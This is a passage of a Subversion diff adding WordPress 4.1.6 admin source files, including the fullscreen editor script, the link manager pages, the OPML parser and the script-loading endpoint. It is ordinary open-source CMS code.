+				broken = ( topics[i].apply( null, args ) === false || broken );
+			}
+			return ! broken;
+		};
+	};
+
+	// Initialize the fullscreen/api object
+	api = {};
+
+	// Create the PubSub (publish/subscribe) interface.
+	ps = api.pubsub = new PubSub();
+
+	s = api.settings = { // Settings
+		visible: false,
+		mode: 'tinymce',
+		id: '',
+		title_id: '',
+		timer: 0,
+		toolbar_shown: false
+	};
+
+	function _hideUI() {
+		$body.removeClass('wp-dfw-show-ui');
+	}
+
+	/**
+	 * toggleUI
+	 *
+	 * Toggle the CSS class to show/hide the toolbar, borders and statusbar.
+	 */
+	toggleUI = api.toggleUI = function( show ) {
+		clearTimeout( uiTimer );
+
+		if ( ! $body.hasClass('wp-dfw-show-ui') || show === 'show' ) {
+			$body.addClass('wp-dfw-show-ui');
+		} else if ( show !== 'autohide' ) {
+			$body.removeClass('wp-dfw-show-ui');
+		}
+
+		if ( show === 'autohide' ) {
+			uiTimer = setTimeout( _hideUI, 2000 );
+		}
+	};
+
+	function resetCssPosition( add ) {
+		s.$dfwWrap.parents().each( function( i, parent ) {
+			var cssPosition, $parent = $(parent);
+
+			if ( add ) {
+				if ( parent.style.position ) {
+					$parent.data( 'wp-dfw-css-position', parent.style.position );
+				}
+
+				$parent.css( 'position', 'static' );
+			} else {
+				cssPosition = $parent.data( 'wp-dfw-css-position' );
+				cssPosition = cssPosition || '';
+				$parent.css( 'position', cssPosition );
+			}
+
+			if ( parent.nodeName === 'BODY' ) {
+				return false;
+			}
+		});
+	}
+
+	/**
+	 * on()
+	 *
+	 * Turns fullscreen on.
+	 *
+	 * @param string mode Optional. Switch to the given mode before opening.
+	 */
+	api.on = function() {
+		var id, $dfwWrap, titleId;
+
+		if ( s.visible ) {
+			return;
+		}
+
+		if ( ! s.$fullscreenFader ) {
+			api.ui.init();
+		}
+
+		// Settings can be added or changed by defining "wp_fullscreen_settings" JS object.
+		if ( typeof window.wp_fullscreen_settings === 'object' )
+			$.extend( s, window.wp_fullscreen_settings );
+
+		id = s.id || window.wpActiveEditor;
+
+		if ( ! id ) {
+			if ( s.hasTinymce ) {
+				id = tinymce.activeEditor.id;
+			} else {
+				return;
+			}
+		}
+
+		s.id = id;
+		$dfwWrap = s.$dfwWrap = $( '#wp-' + id + '-wrap' );
+
+		if ( ! $dfwWrap.length ) {
+			return;
+		}
+
+		s.$dfwTextarea = $( '#' + id );
+		s.$editorContainer = $dfwWrap.find( '.wp-editor-container' );
+		uiScrollTop = $document.scrollTop();
+
+		if ( s.hasTinymce ) {
+			s.editor = tinymce.get( id );
+		}
+
+		if ( s.editor && ! s.editor.isHidden() ) {
+			s.origHeight = $( '#' + id + '_ifr' ).height();
+			s.mode = 'tinymce';
+		} else {
+			s.origHeight = s.$dfwTextarea.height();
+			s.mode = 'html';
+		}
+
+		// Try to find title field
+		if ( typeof window.adminpage !== 'undefined' &&
+			( window.adminpage === 'post-php' || window.adminpage === 'post-new-php' ) ) {
+
+			titleId = 'title';
+		} else {
+			titleId = id + '-title';
+		}
+
+		s.$dfwTitle = $( '#' + titleId );
+
+		if ( ! s.$dfwTitle.length ) {
+			s.$dfwTitle = null;
+		}
+
+		api.ui.fade( 'show', 'showing', 'shown' );
+	};
+
+	/**
+	 * off()
+	 *
+	 * Turns fullscreen off.
+	 */
+	api.off = function() {
+		if ( ! s.visible )
+			return;
+
+		api.ui.fade( 'hide', 'hiding', 'hidden' );
+	};
+
+	/**
+	 * switchmode()
+	 *
+	 * @return string - The current mode.
+	 *
+	 * @param string to - The fullscreen mode to switch to.
+	 * @event switchMode
+	 * @eventparam string to   - The new mode.
+	 * @eventparam string from - The old mode.
+	 */
+	api.switchmode = function( to ) {
+		var from = s.mode;
+
+		if ( ! to || ! s.visible || ! s.hasTinymce || typeof switchEditors === 'undefined' ) {
+			return from;
+		}
+
+		// Don't switch if the mode is the same.
+		if ( from == to )
+			return from;
+
+		if ( to === 'tinymce' && ! s.editor ) {
+			s.editor = tinymce.get( s.id );
+
+			if ( ! s.editor &&  typeof tinyMCEPreInit !== 'undefined' &&
+				tinyMCEPreInit.mceInit && tinyMCEPreInit.mceInit[ s.id ] ) {
+
+				// If the TinyMCE instance hasn't been created, set the "wp_fulscreen" flag on creating it
+				tinyMCEPreInit.mceInit[ s.id ].wp_fullscreen = true;
+			}
+		}
+
+		s.mode = to;
+		switchEditors.go( s.id, to );
+		api.refreshButtons( true );
+
+		if ( to === 'html' ) {
+			setTimeout( api.resizeTextarea, 200 );
+		}
+
+		return to;
+	};
+
+	/**
+	 * General
+	 */
+
+	api.save = function() {
+		var $hidden = $('#hiddenaction'),
+			oldVal = $hidden.val(),
+			$spinner = $('#wp-fullscreen-save .spinner'),
+			$saveMessage = $('#wp-fullscreen-save .wp-fullscreen-saved-message'),
+			$errorMessage = $('#wp-fullscreen-save .wp-fullscreen-error-message');
+
+		$spinner.show();
+		$errorMessage.hide();
+		$saveMessage.hide();
+		$hidden.val('wp-fullscreen-save-post');
+
+		if ( s.editor && ! s.editor.isHidden() ) {
+			s.editor.save();
+		}
+
+		$.ajax({
+			url: window.ajaxurl,
+			type: 'post',
+			data: $('form#post').serialize(),
+			dataType: 'json'
+		}).done( function( response ) {
+			$spinner.hide();
+
+			if ( response && response.success ) {
+				$saveMessage.show();
+
+				setTimeout( function() {
+					$saveMessage.fadeOut(300);
+				}, 3000 );
+
+				if ( response.data && response.data.last_edited ) {
+					$('#wp-fullscreen-save input').attr( 'title',  response.data.last_edited );
+				}
+			} else {
+				$errorMessage.show();
+			}
+		}).fail( function() {
+			$spinner.hide();
+			$errorMessage.show();
+		});
+
+		$hidden.val( oldVal );
+	};
+
+	api.dfwWidth = function( pixels, total ) {
+		var width;
+
+		if ( pixels && pixels.toString().indexOf('%') !== -1 ) {
+			s.$editorContainer.css( 'width', pixels );
+			s.$statusbar.css( 'width', pixels );
+
+			if ( s.$dfwTitle ) {
+				s.$dfwTitle.css( 'width', pixels );
+			}
+			return;
+		}
+
+		if ( ! pixels ) {
+			// Reset to theme width
+			width = $('#wp-fullscreen-body').data('theme-width') || 800;
+			s.$editorContainer.width( width );
+			s.$statusbar.width( width );
+
+			if ( s.$dfwTitle ) {
+				s.$dfwTitle.width( width - 16 );
+			}
+
+			deleteUserSetting('dfw_width');
+			return;
+		}
+
+		if ( total ) {
+			width = pixels;
+		} else {
+			width = s.$editorContainer.width();
+			width += pixels;
+		}
+
+		if ( width < 200 || width > 1200 ) {
+			// sanity check
+			return;
+		}
+
+		s.$editorContainer.width( width );
+		s.$statusbar.width( width );
+
+		if ( s.$dfwTitle ) {
+			s.$dfwTitle.width( width - 16 );
+		}
+
+		setUserSetting( 'dfw_width', width );
+	};
+
+	// This event occurs before the overlay blocks the UI.
+	ps.subscribe( 'show', function() {
+		var title = $('#last-edit').text();
+
+		if ( title ) {
+			$('#wp-fullscreen-save input').attr( 'title', title );
+		}
+	});
+
+	// This event occurs while the overlay blocks the UI.
+	ps.subscribe( 'showing', function() {
+		$body.addClass( 'wp-fullscreen-active' );
+		s.$dfwWrap.addClass( 'wp-fullscreen-wrap' );
+
+		if ( s.$dfwTitle ) {
+			s.$dfwTitle.after( '<span id="wp-fullscreen-title-placeholder">' );
+			s.$dfwWrap.prepend( s.$dfwTitle.addClass('wp-fullscreen-title') );
+		}
+
+		api.refreshButtons();
+		resetCssPosition( true );
+		$('#wpadminbar').hide();
+
+		// Show the UI for 2 sec. when opening
+		toggleUI('autohide');
+
+		api.bind_resize();
+
+		if ( s.editor ) {
+			s.editor.execCommand( 'wpFullScreenOn' );
+		}
+
+		if ( 'ontouchstart' in window ) {
+			api.dfwWidth( '90%' );
+		} else {
+			api.dfwWidth( $( '#wp-fullscreen-body' ).data('dfw-width') || 800, true );
+		}
+
+		// scroll to top so the user is not disoriented
+		scrollTo(0, 0);
+	});
+
+	// This event occurs after the overlay unblocks the UI
+	ps.subscribe( 'shown', function() {
+		s.visible = true;
+
+		if ( s.editor && ! s.editor.isHidden() ) {
+			s.editor.execCommand( 'wpAutoResize' );
+		} else {
+			api.resizeTextarea( 'force' );
+		}
+	});
+
+	ps.subscribe( 'hide', function() { // This event occurs before the overlay blocks DFW.
+		$document.unbind( '.fullscreen' );
+		s.$dfwTextarea.unbind('.wp-dfw-resize');
+	});
+
+	ps.subscribe( 'hiding', function() { // This event occurs while the overlay blocks the DFW UI.
+		$body.removeClass( 'wp-fullscreen-active' );
+
+		if ( s.$dfwTitle ) {
+			$( '#wp-fullscreen-title-placeholder' ).before( s.$dfwTitle.removeClass('wp-fullscreen-title').css( 'width', '' ) ).remove();
+		}
+
+		s.$dfwWrap.removeClass( 'wp-fullscreen-wrap' );
+		s.$editorContainer.css( 'width', '' );
+		s.$dfwTextarea.add( '#' + s.id + '_ifr' ).height( s.origHeight );
+
+		if ( s.editor ) {
+			s.editor.execCommand( 'wpFullScreenOff' );
+		}
+
+		resetCssPosition( false );
+
+		window.scrollTo( 0, uiScrollTop );
+		$('#wpadminbar').show();
+	});
+
+	// This event occurs after DFW is removed.
+	ps.subscribe( 'hidden', function() {
+		s.visible = false;
+	});
+
+	api.refreshButtons = function( fade ) {
+		if ( s.mode === 'html' ) {
+			$('#wp-fullscreen-mode-bar').removeClass('wp-tmce-mode').addClass('wp-html-mode')
+				.find('a').removeClass( 'active' ).filter('.wp-fullscreen-mode-html').addClass( 'active' );
+
+			if ( fade ) {
+				$('#wp-fullscreen-button-bar').fadeOut( 150, function(){
+					$(this).addClass('wp-html-mode').fadeIn( 150 );
+				});
+			} else {
+				$('#wp-fullscreen-button-bar').addClass('wp-html-mode');
+			}
+		} else if ( s.mode === 'tinymce' ) {
+			$('#wp-fullscreen-mode-bar').removeClass('wp-html-mode').addClass('wp-tmce-mode')
+				.find('a').removeClass( 'active' ).filter('.wp-fullscreen-mode-tinymce').addClass( 'active' );
+
+			if ( fade ) {
+				$('#wp-fullscreen-button-bar').fadeOut( 150, function(){
+					$(this).removeClass('wp-html-mode').fadeIn( 150 );
+				});
+			} else {
+				$('#wp-fullscreen-button-bar').removeClass('wp-html-mode');
+			}
+		}
+	};
+
+	/**
+	 * UI Elements
+	 *
+	 * Used for transitioning between states.
+	 */
+	api.ui = {
+		init: function() {
+			var toolbar;
+
+			s.toolbar = toolbar = $('#fullscreen-topbar');
+			s.$fullscreenFader = $('#fullscreen-fader');
+			s.$statusbar = $('#wp-fullscreen-status');
+			s.hasTinymce = typeof tinymce !== 'undefined';
+
+			if ( ! s.hasTinymce )
+				$('#wp-fullscreen-mode-bar').hide();
+
+			$document.keyup( function(e) {
+				var c = e.keyCode || e.charCode, modKey;
+
+				if ( ! s.visible ) {
+					return;
+				}
+
+				if ( navigator.platform && navigator.platform.indexOf('Mac') !== -1 ) {
+					modKey = e.ctrlKey; // Ctrl key for Mac
+				} else {
+					modKey = e.altKey; // Alt key for Win & Linux
+				}
+
+				if ( modKey && ( 61 === c || 107 === c || 187 === c ) ) { // +
+					api.dfwWidth( 25 );
+					e.preventDefault();
+				}
+
+				if ( modKey && ( 45 === c || 109 === c || 189 === c ) ) { // -
+					api.dfwWidth( -25 );
+					e.preventDefault();
+				}
+
+				if ( modKey && 48 === c ) { // 0
+					api.dfwWidth( 0 );
+					e.preventDefault();
+				}
+			});
+
+			$( window ).on( 'keydown.wp-fullscreen', function( event ) {
+				// Turn fullscreen off when Esc is pressed.
+				if ( 27 === event.keyCode && s.visible ) {
+					api.off();
+					event.stopImmediatePropagation();
+				}
+			});
+
+			if ( 'ontouchstart' in window ) {
+				$body.addClass('wp-dfw-touch');
+			}
+
+			toolbar.on( 'mouseenter', function() {
+				toggleUI('show');
+			}).on( 'mouseleave', function() {
+				toggleUI('autohide');
+			});
+
+			// Bind buttons
+			$('#wp-fullscreen-buttons').on( 'click.wp-fullscreen', 'button', function( event ) {
+				var command = event.currentTarget.id ? event.currentTarget.id.substr(6) : null;
+
+				if ( s.editor && 'tinymce' === s.mode ) {
+					switch( command ) {
+						case 'bold':
+							s.editor.execCommand('Bold');
+							break;
+						case 'italic':
+							s.editor.execCommand('Italic');
+							break;
+						case 'bullist':
+							s.editor.execCommand('InsertUnorderedList');
+							break;
+						case 'numlist':
+							s.editor.execCommand('InsertOrderedList');
+							break;
+						case 'link':
+							s.editor.execCommand('WP_Link');
+							break;
+						case 'unlink':
+							s.editor.execCommand('unlink');
+							break;
+						case 'help':
+							s.editor.execCommand('WP_Help');
+							break;
+						case 'blockquote':
+							s.editor.execCommand('mceBlockQuote');
+							break;
+					}
+				} else if ( command === 'link' && window.wpLink ) {
+					window.wpLink.open();
+				}
+
+				if ( command === 'wp-media-library' && typeof wp !== 'undefined' && wp.media && wp.media.editor ) {
+					wp.media.editor.open( s.id );
+				}
+			});
+		},
+
+		fade: function( before, during, after ) {
+			if ( ! s.$fullscreenFader ) {
+				api.ui.init();
+			}
+
+			// If any callback bound to before returns false, bail.
+			if ( before && ! ps.publish( before ) ) {
+				return;
+			}
+
+			api.fade.In( s.$fullscreenFader, 200, function() {
+				if ( during ) {
+					ps.publish( during );
+				}
+
+				api.fade.Out( s.$fullscreenFader, 200, function() {
+					if ( after ) {
+						ps.publish( after );
+					}
+				});
+			});
+		}
+	};
+
+	api.fade = {
+		// Sensitivity to allow browsers to render the blank element before animating.
+		sensitivity: 100,
+
+		In: function( element, speed, callback, stop ) {
+
+			callback = callback || $.noop;
+			speed = speed || 400;
+			stop = stop || false;
+
+			if ( api.fade.transitions ) {
+				if ( element.is(':visible') ) {
+					element.addClass( 'fade-trigger' );
+					return element;
+				}
+
+				element.show();
+				element.first().one( transitionend, function() {
+					callback();
+				});
+
+				setTimeout( function() { element.addClass( 'fade-trigger' ); }, this.sensitivity );
+			} else {
+				if ( stop ) {
+					element.stop();
+				}
+
+				element.css( 'opacity', 1 );
+				element.first().fadeIn( speed, callback );
+
+				if ( element.length > 1 ) {
+					element.not(':first').fadeIn( speed );
+				}
+			}
+
+			return element;
+		},
+
+		Out: function( element, speed, callback, stop ) {
+
+			callback = callback || $.noop;
+			speed = speed || 400;
+			stop = stop || false;
+
+			if ( ! element.is(':visible') ) {
+				return element;
+			}
+
+			if ( api.fade.transitions ) {
+				element.first().one( transitionend, function() {
+					if ( element.hasClass('fade-trigger') ) {
+						return;
+					}
+
+					element.hide();
+					callback();
+				});
+				setTimeout( function() { element.removeClass( 'fade-trigger' ); }, this.sensitivity );
+			} else {
+				if ( stop ) {
+					element.stop();
+				}
+
+				element.first().fadeOut( speed, callback );
+
+				if ( element.length > 1 ) {
+					element.not(':first').fadeOut( speed );
+				}
+			}
+
+			return element;
+		},
+
+		// Check if the browser supports CSS 3.0 transitions
+		transitions: ( function() {
+			var style = document.documentElement.style;
+
+			return ( typeof style.WebkitTransition === 'string' ||
+				typeof style.MozTransition === 'string' ||
+				typeof style.OTransition === 'string' ||
+				typeof style.transition === 'string' );
+		})()
+	};
+
+	/**
+	 * Resize API
+	 *
+	 * Automatically updates textarea height.
+	 */
+	api.bind_resize = function() {
+		s.$dfwTextarea.on( 'keydown.wp-dfw-resize click.wp-dfw-resize paste.wp-dfw-resize', function() {
+			api.resizeTextarea();
+		});
+	};
+
+	api.resizeTextarea = function() {
+		var node = s.$dfwTextarea[0];
+
+		if ( node.scrollHeight > node.clientHeight ) {
+			node.style.height = node.scrollHeight + 50 + 'px';
+		}
+	};
+
+	// Export
+	window.wp = window.wp || {};
+	window.wp.editor = window.wp.editor || {};
+	window.wp.editor.fullscreen = api;
+
+})( jQuery, window );
Index: /tags/4.1.6/src/wp-admin/js/xfn.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/xfn.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/xfn.js	(revision 33402)
@@ -0,0 +1,17 @@
+jQuery( document ).ready(function( $ ) {
+	$( '#link_rel' ).prop( 'readonly', true );
+	$( '#linkxfndiv input' ).bind( 'click keyup', function() {
+		var isMe = $( '#me' ).is( ':checked' ), inputs = '';
+		$( 'input.valinp' ).each( function() {
+			if ( isMe ) {
+				$( this ).prop( 'disabled', true ).parent().addClass( 'disabled' );
+			} else {
+				$( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' );
+				if ( $( this ).is( ':checked' ) && $( this ).val() !== '') {
+					inputs += $( this ).val() + ' ';
+				}
+			}
+		});
+		$( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) );
+	});
+});
Index: /tags/4.1.6/src/wp-admin/link-add.php
===================================================================
--- /tags/4.1.6/src/wp-admin/link-add.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/link-add.php	(revision 33402)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Add Link Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('manage_links') )
+	wp_die(__('You do not have sufficient permissions to add links to this site.'));
+
+$title = __('Add New Link');
+$parent_file = 'link-manager.php';
+
+wp_reset_vars( array('action', 'cat_id', 'link_id' ) );
+
+wp_enqueue_script('link');
+wp_enqueue_script('xfn');
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+$link = get_default_link_to_edit();
+include( ABSPATH . 'wp-admin/edit-link-form.php' );
+
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/link-manager.php
===================================================================
--- /tags/4.1.6/src/wp-admin/link-manager.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/link-manager.php	(revision 33402)
@@ -0,0 +1,99 @@
+<?php
+/**
+ * Link Management Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+if ( ! current_user_can( 'manage_links' ) )
+	wp_die( __( 'You do not have sufficient permissions to edit the links for this site.' ) );
+
+$wp_list_table = _get_list_table('WP_Links_List_Table');
+
+// Handle bulk deletes
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction && isset( $_REQUEST['linkcheck'] ) ) {
+	check_admin_referer( 'bulk-bookmarks' );
+
+	if ( 'delete' == $doaction ) {
+		$bulklinks = (array) $_REQUEST['linkcheck'];
+		foreach ( $bulklinks as $link_id ) {
+			$link_id = (int) $link_id;
+
+			wp_delete_link( $link_id );
+		}
+
+		wp_redirect( add_query_arg('deleted', count( $bulklinks ), admin_url( 'link-manager.php' ) ) );
+		exit;
+	}
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+$title = __('Links');
+$this_file = $parent_file = 'link-manager.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . sprintf(__('You can add links here to be displayed on your site, usually using <a href="%s">Widgets</a>. By default, links to several sites in the WordPress community are included as examples.'), 'widgets.php') . '</p>' .
+    '<p>' . __('Links may be separated into Link Categories; these are different than the categories used on your posts.') . '</p>' .
+    '<p>' . __('You can customize the display of this screen using the Screen Options tab and/or the dropdown filters above the links table.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'deleting-links',
+'title'		=> __('Deleting Links'),
+'content'	=>
+    '<p>' . __('If you delete a link, it will be removed permanently, as Links do not have a Trash function yet.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Links_Screen" target="_blank">Documentation on Managing Links</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( ! current_user_can('manage_links') )
+	wp_die(__("You do not have sufficient permissions to edit the links for this site."));
+
+?>
+
+<div class="wrap nosubsub">
+<h2><?php echo esc_html( $title ); ?> <a href="link-add.php" class="add-new-h2"><?php echo esc_html_x('Add New', 'link'); ?></a> <?php
+if ( !empty($_REQUEST['s']) )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( wp_unslash($_REQUEST['s']) ) ); ?>
+</h2>
+
+<?php
+if ( isset($_REQUEST['deleted']) ) {
+	echo '<div id="message" class="updated"><p>';
+	$deleted = (int) $_REQUEST['deleted'];
+	printf(_n('%s link deleted.', '%s links deleted', $deleted), $deleted);
+	echo '</p></div>';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']);
+}
+?>
+
+<form id="posts-filter" action="" method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Links' ), 'link' ); ?>
+
+<?php $wp_list_table->display(); ?>
+
+<div id="ajax-response"></div>
+</form>
+
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/link-parse-opml.php
===================================================================
--- /tags/4.1.6/src/wp-admin/link-parse-opml.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/link-parse-opml.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Parse OPML XML files and store in globals.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('ABSPATH') )
+	die();
+
+global $opml;
+
+/**
+ * XML callback function for the start of a new XML tag.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @global array $names
+ * @global array $urls
+ * @global array $targets
+ * @global array $descriptions
+ * @global array $feeds
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML element name.
+ * @param array $attrs XML element attributes.
+ */
+function startElement($parser, $tagName, $attrs) {
+	global $names, $urls, $targets, $descriptions, $feeds;
+
+	if ( 'OUTLINE' === $tagName ) {
+		$name = '';
+		if ( isset( $attrs['TEXT'] ) ) {
+			$name = $attrs['TEXT'];
+		}
+		if ( isset( $attrs['TITLE'] ) ) {
+			$name = $attrs['TITLE'];
+		}
+		$url = '';
+		if ( isset( $attrs['URL'] ) ) {
+			$url = $attrs['URL'];
+		}
+		if ( isset( $attrs['HTMLURL'] ) ) {
+			$url = $attrs['HTMLURL'];
+		}
+
+		// Save the data away.
+		$names[] = $name;
+		$urls[] = $url;
+		$targets[] = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] :  '';
+		$feeds[] = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] :  '';
+		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] :  '';
+	} // End if outline.
+}
+
+/**
+ * XML callback function that is called at the end of a XML tag.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML tag name.
+ */
+function endElement($parser, $tagName) {
+	// Nothing to do.
+}
+
+// Create an XML parser
+$xml_parser = xml_parser_create();
+
+// Set the functions to handle opening and closing tags
+xml_set_element_handler($xml_parser, "startElement", "endElement");
+
+if (!xml_parse($xml_parser, $opml, true)) {
+	echo(sprintf(__('XML error: %1$s at line %2$s'),
+	xml_error_string(xml_get_error_code($xml_parser)),
+	xml_get_current_line_number($xml_parser)));
+}
+
+// Free up memory used by the XML parser
+xml_parser_free($xml_parser);
Index: /tags/4.1.6/src/wp-admin/link.php
===================================================================
--- /tags/4.1.6/src/wp-admin/link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/link.php	(revision 33402)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * Manage link administration actions.
+ *
+ * This page is accessed by the link management pages and handles the forms and
+ * AJAX processes for link actions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_reset_vars( array( 'action', 'cat_id', 'link_id' ) );
+
+if ( ! current_user_can('manage_links') )
+	wp_link_manager_disabled_message();
+
+if ( !empty($_POST['deletebookmarks']) )
+	$action = 'deletebookmarks';
+if ( !empty($_POST['move']) )
+	$action = 'move';
+if ( !empty($_POST['linkcheck']) )
+	$linkcheck = $_POST['linkcheck'];
+
+$this_file = admin_url('link-manager.php');
+
+switch ($action) {
+	case 'deletebookmarks' :
+		check_admin_referer('bulk-bookmarks');
+
+		// For each link id (in $linkcheck[]) change category to selected value.
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+
+		$deleted = 0;
+		foreach ($linkcheck as $link_id) {
+			$link_id = (int) $link_id;
+
+			if ( wp_delete_link($link_id) )
+				$deleted++;
+		}
+
+		wp_redirect("$this_file?deleted=$deleted");
+		exit;
+
+	case 'move' :
+		check_admin_referer('bulk-bookmarks');
+
+		// For each link id (in $linkcheck[]) change category to selected value.
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+		$all_links = join(',', $linkcheck);
+		/*
+		 * Should now have an array of links we can change:
+		 *     $q = $wpdb->query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)");
+		 */
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'add' :
+		check_admin_referer('add-bookmark');
+
+		$redir = wp_get_referer();
+		if ( add_link() )
+			$redir = add_query_arg( 'added', 'true', $redir );
+
+		wp_redirect( $redir );
+		exit;
+
+	case 'save' :
+		$link_id = (int) $_POST['link_id'];
+		check_admin_referer('update-bookmark_' . $link_id);
+
+		edit_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'delete' :
+		$link_id = (int) $_GET['link_id'];
+		check_admin_referer('delete-bookmark_' . $link_id);
+
+		wp_delete_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'edit' :
+		wp_enqueue_script('link');
+		wp_enqueue_script('xfn');
+
+		if ( wp_is_mobile() )
+			wp_enqueue_script( 'jquery-touch-punch' );
+
+		$parent_file = 'link-manager.php';
+		$submenu_file = 'link-manager.php';
+		$title = __('Edit Link');
+
+		$link_id = (int) $_GET['link_id'];
+
+		if (!$link = get_link_to_edit($link_id))
+			wp_die(__('Link not found.'));
+
+		include( ABSPATH . 'wp-admin/edit-link-form.php' );
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		break;
+
+	default :
+		break;
+}
Index: /tags/4.1.6/src/wp-admin/load-scripts.php
===================================================================
--- /tags/4.1.6/src/wp-admin/load-scripts.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/load-scripts.php	(revision 33402)
@@ -0,0 +1,162 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging.
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
+define( 'WPINC', 'wp-includes' );
+
+/**
+ * @ignore
+ */
+function __() {}
+
+/**
+ * @ignore
+ */
+function _x() {}
+
+/**
+ * @ignore
+ */
+function add_filter() {}
+
+/**
+ * @ignore
+ */
+function esc_attr() {}
+
+/**
+ * @ignore
+ */
+function apply_filters() {}
+
+/**
+ * @ignore
+ */
+function get_option() {}
+
+/**
+ * @ignore
+ */
+function is_lighttpd_before_150() {}
+
+/**
+ * @ignore
+ */
+function add_action() {}
+
+/**
+ * @ignore
+ */
+function did_action() {}
+
+/**
+ * @ignore
+ */
+function do_action_ref_array() {}
+
+/**
+ * @ignore
+ */
+function get_bloginfo() {}
+
+/**
+ * @ignore
+ */
+function is_admin() {return true;}
+
+/**
+ * @ignore
+ */
+function site_url() {}
+
+/**
+ * @ignore
+ */
+function admin_url() {}
+
+/**
+ * @ignore
+ */
+function home_url() {}
+
+/**
+ * @ignore
+ */
+function includes_url() {}
+
+/**
+ * @ignore
+ */
+function wp_guess_url() {}
+
+if ( ! function_exists( 'json_encode' ) ) :
+/**
+ * @ignore
+ */
+function json_encode() {}
+endif;
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return '';
+
+	return @file_get_contents($path);
+}
+
+$load = $_GET['load'];
+if ( is_array( $load ) )
+	$load = implode( '', $load );
+
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
+$load = array_unique( explode( ',', $load ) );
+
+if ( empty($load) )
+	exit;
+
+require(ABSPATH . WPINC . '/script-loader.php');
+require(ABSPATH . WPINC . '/version.php');
+
+$compress = ( isset($_GET['c']) && $_GET['c'] );
+$force_gzip = ( $compress && 'gzip' == $_GET['c'] );
+$expires_offset = 31536000; // 1 year
+$out = '';
+
+$wp_scripts = new WP_Scripts();
+wp_default_scripts($wp_scripts);
+
+foreach( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_scripts->registered) )
+		continue;
+
+	$path = ABSPATH . $wp_scripts->registered[$handle]->src;
+	$out .= get_file($path) . "\n";
+}
+
+header('Content-Type: application/x-javascript; charset=UTF-8');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) {
+	header('Vary: Accept-Encoding'); // Handle proxies
+	if ( false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+		header('Content-Encoding: deflate');
+		$out = gzdeflate( $out, 3 );
+	} elseif ( false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
+		header('Content-Encoding: gzip');
+		$out = gzencode( $out, 3 );
